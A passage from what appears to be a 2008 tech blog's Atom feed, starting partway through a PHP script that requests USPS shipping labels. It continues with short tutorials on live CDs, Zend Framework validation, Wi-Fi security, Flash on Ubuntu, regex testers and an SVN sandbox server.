$ToZip5 = '';

$weightOunces = 5;


// =============== DON'T CHANGE BELOW THIS LINE ===============

$url = "https://Secure.ShippingAPIs.com/ShippingAPI.dll";
$ch = curl_init();

// set the target url
curl_setopt($ch, CURLOPT_URL,$url);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);

// parameters to post
curl_setopt($ch, CURLOPT_POST, 1);

$data = "API=DeliveryConfirmationV3&amp;XML=&lt;DeliveryConfirmationV3.0Request USERID=\"$userName\"&gt;
&lt;Option&gt;1&lt;/Option&gt;
&lt;ImageParameters /&gt;
&lt;FromName&gt;$FromName&lt;/FromName&gt;
&lt;FromFirm /&gt;
&lt;FromAddress1 /&gt;
&lt;FromAddress2&gt;$FromAddress2&lt;/FromAddress2&gt;
&lt;FromCity&gt;$FromCity&lt;/FromCity&gt;
&lt;FromState&gt;$FromState&lt;/FromState&gt;
&lt;FromZip5&gt;$FromZip5&lt;/FromZip5&gt;
&lt;FromZip4 /&gt;
&lt;ToName&gt;$ToName&lt;/ToName&gt;
&lt;ToFirm /&gt;
&lt;ToAddress1 /&gt;
&lt;ToAddress2&gt;$ToAddress2&lt;/ToAddress2&gt;
&lt;ToCity&gt;$ToCity&lt;/ToCity&gt;
&lt;ToState&gt;$ToState&lt;/ToState&gt;
&lt;ToZip5&gt;$ToZip5&lt;/ToZip5&gt;
&lt;ToZip4 /&gt;
&lt;WeightInOunces&gt;$weightOunces&lt;/WeightInOunces&gt;
&lt;ServiceType&gt;Priority&lt;/ServiceType&gt;
&lt;POZipCode /&gt;
&lt;ImageType&gt;PDF&lt;/ImageType&gt;
&lt;LabelDate /&gt;
&lt;/DeliveryConfirmationV3.0Request&gt;";

// send the POST values to USPS
curl_setopt($ch, CURLOPT_POSTFIELDS,$data);

$result=curl_exec ($ch);
$data = strstr($result, '&lt;?');
// echo '&lt;!-- '. $data. ' --&gt;'; // Uncomment to show XML in comments


$xmlParser = new uspsxmlParser();
$fromUSPS = $xmlParser-&gt;xmlparser($data);
$fromUSPS = $xmlParser-&gt;getData();

curl_close($ch);
return $fromUSPS;
}

class uspsxmlParser {

var $params = array(); //Stores the object representation of XML data
var $root = NULL;
var $global_index = -1;
var $fold = false;

/* Constructor for the class
* Takes in XML data as input( do not include the &lt;xml&gt; tag
*/
function xmlparser($input, $xmlParams=array(XML_OPTION_CASE_FOLDING =&gt; 0)) {
    $xmlp = xml_parser_create();
        foreach($xmlParams as $opt =&gt; $optVal) {
            switch( $opt ) {
            case XML_OPTION_CASE_FOLDING:
                $this-&gt;fold = $optVal;
            break;
            default:
            break;
            }
            xml_parser_set_option($xmlp, $opt, $optVal);
    }

    if(xml_parse_into_struct($xmlp, $input, $vals, $index)) {
        $this-&gt;root = $this-&gt;_foldCase($vals[0]['tag']);
        $this-&gt;params = $this-&gt;xml2ary($vals);
    }
    xml_parser_free($xmlp);
}

function _foldCase($arg) {
    return( $this-&gt;fold ? strtoupper($arg) : $arg);
}

/*
 * Credits for the structure of this function
 * http://mysrc.blogspot.com/2007/02/php-xml-to-array-and-backwards.html
 *
 * Adapted by Ropu - 05/23/2007
 *
*/

function xml2ary($vals) {

    $mnary=array();
    $ary=&amp;$mnary;
    foreach ($vals as $r) {
        $t=$r['tag'];
        if ($r['type']=='open') {
            if (isset($ary[$t]) &amp;&amp; !empty($ary[$t])) {
                if (isset($ary[$t][0])){
                    $ary[$t][]=array();
                } else {
                    $ary[$t]=array($ary[$t], array());
                }
                $cv=&amp;$ary[$t][count($ary[$t])-1];
            } else {
                $cv=&amp;$ary[$t];
            }
            $cv=array();
            if (isset($r['attributes'])) {
                foreach ($r['attributes'] as $k=&gt;$v) {
                $cv[$k]=$v;
                }
            }

            $cv['_p']=&amp;$ary;
            $ary=&amp;$cv;

            } else if ($r['type']=='complete') {
                if (isset($ary[$t]) &amp;&amp; !empty($ary[$t])) { // same as open
                    if (isset($ary[$t][0])) {
                        $ary[$t][]=array();
                    } else {
                        $ary[$t]=array($ary[$t], array());
                    }
                $cv=&amp;$ary[$t][count($ary[$t])-1];
            } else {
                $cv=&amp;$ary[$t];
            }
            if (isset($r['attributes'])) {
                foreach ($r['attributes'] as $k=&gt;$v) {
                    $cv[$k]=$v;
                }
            }
            $cv['VALUE'] = (isset($r['value']) ? $r['value'] : '');

            } elseif ($r['type']=='close') {
                $ary=&amp;$ary['_p'];
            }
    }

    $this-&gt;_del_p($mnary);
    return $mnary;
}

// _Internal: Remove recursion in result array
function _del_p(&amp;$ary) {
    foreach ($ary as $k=&gt;$v) {
    if ($k==='_p') {
          unset($ary[$k]);
        }
        else if(is_array($ary[$k])) {
          $this-&gt;_del_p($ary[$k]);
        }
    }
}

/* Returns the root of the XML data */
function GetRoot() {
  return $this-&gt;root;
}

/* Returns the array representing the XML data */
function GetData() {
  return $this-&gt;params;
}
}
?&gt;
</code></pre>

<p>Then make another file and include the functions like this:</p>

<pre><code>&lt;?php
require('USPSLabel.php');

echo '&lt;pre&gt;'; print_r(USPSLabel()); echo '&lt;/pre&gt;';
$USPSResponse = USPSLabel();
$USPSLabel = $USPSResponse['DeliveryConfirmationV3.0Response']['DeliveryConfirmationLabel']['VALUE'];
?&gt;
</code></pre>

<p>Then use <a href="http://us3.php.net/manual/en/function.base64-decode.php">PHP&#8217;s base64_decode();</a> to convert the image to PDF and save it with <a href="http://us3.php.net/manual/en/function.fwrite.php">fwrite</a>.</p>

<p><img src="http://www.marksanborn.net/wp-content/uploads/2008/11/usps-label1.png" alt="USPS Label" /></p>

<p>Unfortunately the security on this domain won&#8217;t allow me to write out an fopen/fwrite statement without throwing out a 503 error.  So you will have to look it up.  It is about 3 lines of code.</p>

<p>You should end up with a a PDF label like the one to the right.  There are options to specify the size and type of label for people with regular printers or thermal label printers.</p>

<p>This is basically just a sample of what you can do.  Check out the USPS Webtools guide and just adapt the XML part of the code to your integration needs.</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Using a Live CD]]></title>
    <link href="http://www.marksanborn.net/howto/using-a-live-cd/"/>
    <updated>2008-11-26T07:00:04-08:00</updated>
    <id>http://www.marksanborn.net/howto/using-a-live-cd</id>
    <content type="html"><![CDATA[<p>Let&#8217;s say you are working on an important email, document, or a critical website bug and your computer suddenly crashes and wont boot up.  You have to get this work done right away what do you do?  With a live CD you can be up and running in two minutes with the tools you need to finish the job.   When you are done with your work you can use the live CD to actually fix your computer.  Whether you are a computer techie or an average Joe, I think everyone should have a live CD next to their computer ready to go.</p>

<h3>What is a Live CD?</h3>

<p>A live cd is a temporary operating system that runs from a CD instead of a hard drive.  This means that  it doesn&#8217;t permanently effect your computer.  When your computer is rebooted and the CD is ejected everything returns back to the way it was.  Unless of course you want to use the Live CD to make changes to your computer, like fixing a computer that wont boot.  Maybe you need to reinstall but you don&#8217;t want to loose those family pictures you saved.  Maybe there is 4 minutes left on an Ebay auction and your computer wont boot.</p>

<h3>What can you do with a Live CD?</h3>

<p>Well you can use a live cd as a temporary operating system to get you by or use it as a tool to fix/maintain computers.</p>

<p>You can:</p>

<ul>
<li><p>Transfer files to another hard drive even if your computer doesn&#8217;t work</p></li>
<li><p>Reset a Windows administrator password</p></li>
<li><p><a href="http://www.marksanborn.net/linux/recovering-from-a-lost-linux-root-password/">Reset a Linux root password</a></p></li>
<li><p>Turn you computer into a temporary network assessment vulnerability toolbox</p></li>
<li><p>Remove spyware without waiting 25 minutes to boot</p></li>
<li><p>Scan for viruses, especially useful for when viruses take over anti-virus</p></li>
<li><p>Try out an operating system before installing it</p></li>
<li><p>Build your own Linux distribution</p></li>
<li><p>Watch a movie at a friends house without worrying about codecs and DVD player software</p></li>
<li><p>umm&#8230; You can do almost anything you could do on a regular OS</p></li>
</ul>


<h3>Getting a Live CD to Run</h3>

<p>When you turn you computer on one of the first things it does it look for a medium to boot from.  They have what is called a boot sequence.  For example a computer could first try to boot from a floppy disk then if that fails try the cdrom then the hard drive.  If all of them fail your computer will just sit at a blank screen.  What we need to do in order to boot from a CD is tell the computer to first look at the cdrom before checking the hard drive.  Sometimes this is done for you and all you have to do is put the CD in and restart the computer.  Other times you have to hit a key like <strong>del</strong> to change the boot order.</p>

<h3>Recommended Live CDs</h3>

<p><a href="http://www.ubuntu.com/getubuntu/download">Ubuntu Live CD</a>
<a href="http://www.knopper.net/knoppix-mirrors/index-en.html">Knoppix</a> - One of the first live CDs.
<a href="http://www.remote-exploit.org/backtrack.html">BackTrack</a> - Ultimate security toolbox comes with every app you would ever need to test for security vulnerabilities.
<a href="http://clonezilla.org/">Clonezilla</a> - Open source ghost replacement
<a href="http://www.nu2.nu/pebuilder/">Windows Live CD</a> - Run a &#8220;Windows like&#8221; operating system.  This one is great for removing spyware and virus scanning.</p>

<p><a href="http://www.livecdlist.com/">Comprehensive list of all Live CDs</a></p>

<p>So there you have it.  Don&#8217;t feel intimidated if this is you first time learning about live cds.  Just download one burn it to a CD and give it a whirl.  You literally can&#8217;t mess up your computer without actually knowing how to.  Live CDs can be a great emergency situation and a way to learn Linux without jumping into the deep end.  If you are a live cd veteran check out the <a href="http://www.livecdlist.com/">list of Live CDs</a>.  You might find something new.</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Why I use the Zend Framework]]></title>
    <link href="http://www.marksanborn.net/php/why-i-use-the-zend-framework/"/>
    <updated>2008-11-25T07:00:08-08:00</updated>
    <id>http://www.marksanborn.net/php/why-i-use-the-zend-framework</id>
    <content type="html"><![CDATA[<p>Frameworks seem to be popping up all over the place for all sorts of languages.  These frameworks all have one goal.  They are looking to reduce development time.  Time is money and when you are working on client&#8217;s sites frameworks can drastically reduce the development time.  For this reason frameworks are not going away any time soon.</p>

<h3>Why a framework?</h3>

<p>If you haven&#8217;t tried a framework for web development do yourself a favor and just go try one.  Adding skills to your skill set will help you in future projects.  You may find yourself forced to work on a framework in the future so why not get a head start and learn one.</p>

<p>They say a good programmer is a lazy one.  Why reinvent code?  Why come up with custom code that other programmers will have to decipher when it comes maintenance time.  Why not have code that is already well documented and widely known.  Why not allow someone else to research the industry standard way of doing the mundane tasks while you focus on the real programming?</p>

<h3>Why not Ruby on Rails?</h3>

<p><img src="http://www.marksanborn.net/wp-content/uploads/2008/12/rails-podcast.png" alt="Ruby on Rails" />Ruby on Rails is a very popular framework for the ruby language.  I decided against using this as I wanted to leverage my experience in PHP with a PHP framework.  It only made sense to do this.  The other reason I did not go with Ruby is that it is not as well supported by webhosts.  For me it just doesn&#8217;t make sense to learn Ruby right now.</p>

<h3>Why not cakePHP?</h3>

<p>Actually CakePHP was the first framework I tried and I really thought I was going to use this one.  As newbie to the MVC model of programming I simply couldn&#8217;t follow the documentation.  After searching around I found Zend Framework.  I started going through the tutorials and watching a few screencasts.  Something finally clicked and I was able to start the learning process and do some trial and error.</p>

<p>It wasn&#8217;t until I had already invested some time into the framework and spoke with a friend learning both Ruby on Rails and Cake PHP that I learned why I prefer this framework.  The Zend Framework is actually not really much of a framework at all.  Out of all the PHP frameworks Zend is probably the lest automated.  It is more accurately described as a library of common PHP functions.</p>

<p>Unlike cakePHP Zend doesn&#8217;t setup database connections or really do much automatic code generation.  It sets up the MVC model and that is about it.  This provides a little more flexibility with your code.  This advantage however is also Zend&#8217;s disadvantage.  It means that you will spend more time building your prototype.</p>

<h3>Why Zend?</h3>

<p>The first thing that drew me into the Zend Framework was the fact that is was made the people that create and maintain PHP.  This means this framework is here for the long haul and isn&#8217;t going anywhere soon.  It also has some major players on board, IGN.com, RottenTomatoes.com, AskMen.com and IBM all use the Zend Framework.</p>

<h3>Conclusion</h3>

<p>Traditional PHP developers will fit right in with Zend as it is just a library of great functions.  CakePHP is suited for people that are basically looking for a Ruby on Rails clone for PHP.  I think all the framework&#8217;s really do the same thing and learning whichever one fits your specific need is the one you should choose.  I chose Zend Framework because it fits my style.  There might be a better framework to try, just do a quick search and see where it takes you.</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Validating an Email Address With Zend Framework]]></title>
    <link href="http://www.marksanborn.net/php/validating-an-email-address-with-zend-framework/"/>
    <updated>2008-11-24T07:00:21-08:00</updated>
    <id>http://www.marksanborn.net/php/validating-an-email-address-with-zend-framework</id>
    <content type="html"><![CDATA[<p>Email addresses are one of trickiest input types to validate because there are multiple ways emails can be written according to the <a href="http://www.faqs.org/rfcs/rfc2822.html">RFC2822</a> specification.  You could have <strong>me@gmail.com</strong>, or <strong>me+spam@gmail.com</strong>, or <strong>&#8220;mark@server&#8221;@marksanborn.net</strong>, common on Linux/BSD systems.</p>

<p>A lot of times people will use a regular expression like:</p>

<p><code>(\w+@[a-zA-Z_]+?\.[a-zA-Z]{2,6})</code></p>

<p>This regular expression would work for almost all email addresses but would fail for others.  For example <strong>mark@gmail.co.uk</strong> would not match.  Either would <strong>mark+spam@gmail.com</strong>.  Which by the way is a very useful feature for email hosts that support it.</p>

<p>Fortunately using my favorite PHP Framework, <a href="http://framework.zend.com/">Zend Framework</a>, we don&#8217;t have to reinvent the proverbial wheel.</p>

<h3>Validating an Email Address with Zend Framework</h3>

<pre><code>$validator = new Zend_Validate_EmailAddress();
if ($validator-&gt;isValid($email)) {
    // email appears to be valid
} else {
    // email is invalid; print the reasons
    foreach ($validator-&gt;getMessages() as $message) {
        echo "$message\n";
    }
}
</code></pre>

<p>Although they managed to get the regex for validating emails correctly, this is not where the power of Zend lies.  Zend gives you the ability to:</p>

<ul>
<li><p>Check if the hostname actually accepts email</p></li>
<li><p>Configure which emails types you will accept</p></li>
<li><p>Validate Top Level Domains</p></li>
<li><p>Validate International Domains Names (for international characters)</p></li>
</ul>

]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Validating Credit Card Numbers with Zend Framework]]></title>
    <link href="http://www.marksanborn.net/php/validating-credit-card-numbers-with-zend-framework/"/>
    <updated>2008-11-21T12:30:02-08:00</updated>
    <id>http://www.marksanborn.net/php/validating-credit-card-numbers-with-zend-framework</id>
    <content type="html"><![CDATA[<p>Ever wonder how websites can tell you made a mistake entering your credit card number before you even submit it?  Like most identification numbers credit cards have <a href="http://en.wikipedia.org/wiki/Checksum">checksum</a> digits built into them.  Just like barcodes.</p>

<p>If you ever look at a EAN-13 UPC barcode (on all retail products) you will notice there is a digit outside of the regular set on the right.  If any digit is out of order or mistyped you can tell that the barcode is wrong based on this checksum.  It also allows barcode readers the ability to &#8220;guess&#8221; what the barcode if part of the barcode got riped or damaged.  This is also how <a href="http://en.wikipedia.org/wiki/Parchive">PAR files</a> can repair corrupt damaged or even missing files.</p>

<p>Credit cards use a checksum algorithm called the, Luhn Algorithm, invented by Hans Peter Luhn.  This simple algorithm can check to see if a credit card number was accidentally mistyped.  This is what Zend Framework uses as well.</p>

<h3>Validating Credit Card Numbers with Zend Framework</h3>

<p>Here is a quick validation using Zend Framework:</p>

<pre><code>$validator = new Zend_Validate_Ccnum();
        if ($validator-&gt;isValid('8181876154321')) {
            echo 'valid';
        } else {
            // email is invalid; print the reasons
            foreach ($validator-&gt;getMessages() as $message) {
                echo "$message\n";
            }
        }
</code></pre>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Why I Would Never Hijack Someone's Internet]]></title>
    <link href="http://www.marksanborn.net/security/why-i-would-never-hijack-someones-internet/"/>
    <updated>2008-11-16T13:23:13-08:00</updated>
    <id>http://www.marksanborn.net/security/why-i-would-never-hijack-someones-internet</id>
    <content type="html"><![CDATA[<p>Well for the short answer all you have to do is ask your self this simple question.  <strong>Would you give your mail, credit cards and other personal information to a complete stranger?</strong>  Probably not.  By connecting to someone else&#8217;s internet connection you are giving them complete control over the data that you send from your computer.  This may include mail, credit card information, and personal information.</p>

<p>Although crucial information like bank passwords are transmitted through SSL (encrypted) almost all traffic is sent in plain text.  For example this blog and all blogs running Wordpress don&#8217;t use SSL to encrypt the credential exchange.  Thus if you were connected to a untrusted internet service like your neighbor&#8217;s wireless they could easily see your blog&#8217;s password.  This is just one out of thousands of examples where personal information could be hijacked on the account of YOU hijacking their service.</p>

<p><img src="http://www.marksanborn.net/wp-content/uploads/2008/11/upsidedown.png" alt="upside down ternet" />The term for this is called &#8220;sniffing&#8221;.  The third party would &#8220;sniff&#8221; the traffic and watch what you are doing.  They can do this because by connecting to a someone&#8217;s internet you are transmitting your data through their devices.  All traffic that is not encrypted could easily be logged and stored for later analysis.  To further clarify the only traffic that is hidden from prying eyes is SSL or some other industry standard encryption.  If you hijacked a WEP or WPA access point you are still vulnerable to sniffing attacks.  Technically the third-party could still sniff your SSL data they just wouldn&#8217;t be able to tell what it was.</p>

<h3>It gets worse</h3>

<p>You may say, &#8220;Well when I hijack someone&#8217;s internet I just surf around and check my email and my bank uses SSL so I&#8217;m not really at risk.&#8221;  The problem with this statement is that it assumes that you are actually going to your bank&#8217;s server when you try to login.  When someone has the control over the internet connection they can alter the data that you receive as well as the data you send out  thus your bank&#8217;s website maybe just a copy that submits your actual username and password to a third-party database.  Not a difficult thing to setup with tools like curl, bind, and mysql.</p>

<h3>What to do</h3>

<p>Stop using someone else&#8217;s internet connection!</p>

<p>Other than moral reasons these reasons are enough for me to never use an untrusted wireless network.      Especially since we know the dangers that are involved.</p>

<p>The first thing you should do as a wireless owner is secure it.  Read my article on <a href="http://www.marksanborn.net/security/wireless-network-security/">Wireless Network Security</a>.</p>

<p>For those of you with wireless internet that you want to hide from prying eyes I recommend checking out <a href="http://www.blackalchemy.to/project/fakeap/">fakeAP</a>.  It is capable of making 53,000 fake wireless access points.</p>

<p>If you are interested in how sniffing works see, <a href="http://www.wireshark.org/">Wireshark</a>.</p>

<p>If you just want to have fun with the freeloaders you can flip their world upside down with <a href="http://ex-parrot.com/~pete/upside-down-ternet.html">this</a>.</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Install Adobe Flash for Opera on Ubuntu]]></title>
    <link href="http://www.marksanborn.net/howto/install-adobe-flash-for-opera-on-ubuntu/"/>
    <updated>2008-11-12T07:00:57-08:00</updated>
    <id>http://www.marksanborn.net/howto/install-adobe-flash-for-opera-on-ubuntu</id>
    <content type="html"><![CDATA[<p>Flash doesn&#8217;t come with Ubuntu by default so we need to install if for all of our browsers if we want to view any sites that have flash.  Adobe provides an easy deb installation file to install it for browsers like Firefox but not Opera.  Although the package from Adobe doesn&#8217;t automatically install flash for Opera, adding it manually is as simple as copying over a file.</p>

<p>Download the <a href="http://get.adobe.com/flashplayer/">.deb file from Adobe</a> and install it like you normally do.</p>

<p><code>dpkg -i nameofdeb.deb</code></p>

<p>This will install the flash library file here: &#8217;<strong>/usr/lib/adobe-flashplugin/libflashplayer.so</strong>&#8217;.</p>

<p>This package then copies this library to the directories of Netscape/Mozilla browsers like Firefox, but doesn&#8217;t do it for Opera.</p>

<p>To do it manually just execute this command as root:</p>

<p><code>sudo ln -s /usr/lib/adobe-flashplugin/libflashplayer.so /usr/lib/opera/plugins/libflashplayer.so</code></p>

<p>Thats it.</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Learning Regular Expressions for Beginners: Building a Regular Expression Tester]]></title>
    <link href="http://www.marksanborn.net/uncategorized/learning-regular-expressions-for-beginners-building-a-regular-expression-tester/"/>
    <updated>2008-11-07T07:00:04-08:00</updated>
    <id>http://www.marksanborn.net/uncategorized/learning-regular-expressions-for-beginners-building-a-regular-expression-tester</id>
    <content type="html"><![CDATA[<p>When learning regular expressions it is helpful to be able to quickly test regular expression patterns.  It doesn&#8217;t really matter which proramming language you use to build it but I will give you two examples, one in Perl and one in PHP.</p>

<p>If you are new to regular expressions first check out, <a href="http://www.marksanborn.net/howto/learning-regular-expressions-for-beginners-the-basics/">Learning Regular Expressions For Beginners: The Basics</a>.  It will run your through your first example.  Once you have the hang of it you can come back here and build a test program to practice your own regular expressions.</p>

<h3>Regular Expression testing for Perl</h3>

<p>Just open up a text editor and copy and paste the code below.  To use it just replace the part that says, &#8221;<strong>YOUR_REGULAR_EXPRESSION_GOES_HERE</strong>&#8221;.  Each new line that you type into the console will be tested.  Use ctrl+c to quit.</p>

<pre><code>#!/usr/bin/perl
while (&lt;&gt;) {                        
  chomp;
  if (/YOUR_REGULAR_EXPRESSION_GOES_HERE/) {
    print "Matched: |$`&lt;$&amp;&gt;$'|\n";  
  } else {
    print "No match: |$_|\n";
  }
}
</code></pre>

<p>|before<match>after|</p>

<h3>Regular Expression testing for PHP</h3>

<pre><code>$testString = $_POST['testString'];
preg_match('/YOUR_REGULAR_EXPRESSION_GOES_HERE/', $testString, $matches);
print_r($matches);
?&gt;

&lt;html&gt;
&lt;head&gt;&lt;title&gt;Regular Expresion Tester&lt;/title&gt;&lt;/head&gt;
&lt;body&gt;
&lt;form action="" method="POST"&gt;
    &lt;input type="textbox" name="testString" /&gt;&lt;br /&gt;
    &lt;input type="submit" name="submit" value="Submit" /&gt;
&lt;/form&gt;
&lt;/body&gt;
&lt;/html&gt;
</code></pre>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Setting Up a Sandbox Server with SVN]]></title>
    <link href="http://www.marksanborn.net/php/setting-up-a-sandbox-server-with-svn/"/>
    <updated>2008-11-06T07:00:33-08:00</updated>
    <id>http://www.marksanborn.net/php/setting-up-a-sandbox-server-with-svn</id>
    <content type="html"><![CDATA[<p>SVN is one of those things that you love once you know what and how it works.  SVN is a version control system used by almost all major open source projects and is an absolute dream to work with.  If you have ever worked with a team of developers you probably have had the experience of having your code accidentally written over or deleted.</p>

<p>With SVN you have version control where you can revert changes, kinda like Wikipedia.  It also keeps track of which files were actually modified and gives you an option to describe to other developers what changes were made.  No more unfortunate mishaps. :)</p>

<p>What is great about SVN is that the code can be checked out to any server at any time with the latest code.  I use SVN to make a &#8220;sandbox&#8221; server.  A server that I can play around in without worrying about deleting code or messing something up.  When I am happy with my changes I can type one command and the two servers are synced with the newest changes.  If for some reason it doesn&#8217;t work out I can revert back to the old way in one easy command.</p>

<p>If you are using Dreamhost it is really easy to setup.  Here is how:</p>

<h3>Setting up SVN on Dreamhost</h3>

<p>Go to dreamhost and make a <strong>svn.yourdomain.com</strong> directory</p>

<p>Make a svn project</p>

<p>Import your code to the SVN repository.</p>

<p><code>cd yourdomain.com
svn import . http://svn.yourdomain.com/myproject</code></p>

<p>Make a new folder</p>

<p><code>mkdir yourdomain.com-svn</code></p>

<p>Check out the code</p>

<p><code>cd yourdomain.com-svn
svn checkout http://svn.yourdomain.com/myproject . &lt;----- don't forget the dot</code></p>

<p>At this point you swap the original site with the svned one.  If you didn&#8217;t do something write thus far simply swap them back and start over.</p>

<p><code>mv yourdomain.com yourdomain.com-original
mv yourdomain.com-svn yourdomain.com
</code></p>

<h3>Make the Sandbox</h3>

<p>Make a new subdomain called sandbox.yourdomain.com</p>

<p>Check out the SVN code</p>

<p><code>cd sandbox.yourdomain.com
svn checkout http://svn.yourdomain.com/myproject .</code></p>

<p>Once again don&#8217;t forget the . (dot) at the end.</p>

<h3>Lock the testing site</h3>

<p>You probably don&#8217;t want people checking out your test site and certainly don&#8217;t want Google or any other bot to get a hold of it.</p>

<p>Open/create up your .htaccess in sandbox.yourdomain.com and fill it with:</p>

<p><code>AuthType Basic
AuthUserFile /home/yourname/sandbox.yourdomain.com/.htpasswd
AuthName "My Testing Site"
require valid-user</code></p>

<p>Then create a .htpasswd file.</p>

<h3>Ignore test files</h3>

<p>You definitely don&#8217;t want to accidentally lock your main site down by transferring .htaccess files or anything else over that doesn&#8217;t belong.</p>

<p>Fortunately for use SVN provides the ignore command.
You can insert multiple lines from the commandline, just press enter inside the quotes:</p>

<p>`$ svn propset svn:ignore ‘config.php [enter]</p>

<blockquote><p>database.php’ . [enter]`</p></blockquote>

<p>Note:  If a file is already in the SVN it cannot be ignored.  You must first delete it out.  A good way to do this if your live site already has a .htaccess in SVN is to rename svn delete and then ignore then rename it back.</p>

<h3>Using SVN</h3>

<p>Although SVN is simple I could probably spend an entire post talking about it.  Here are some of the basic commands that you will need to know.</p>

<p>Commit code to the SVN repository:</p>

<p><code>svn commit</code></p>

<p>Update code to match the SVN repository (run this on the live server after you commit from testing):</p>

<p><code>svn update</code></p>
]]></content>
  </entry>
  
</feed>

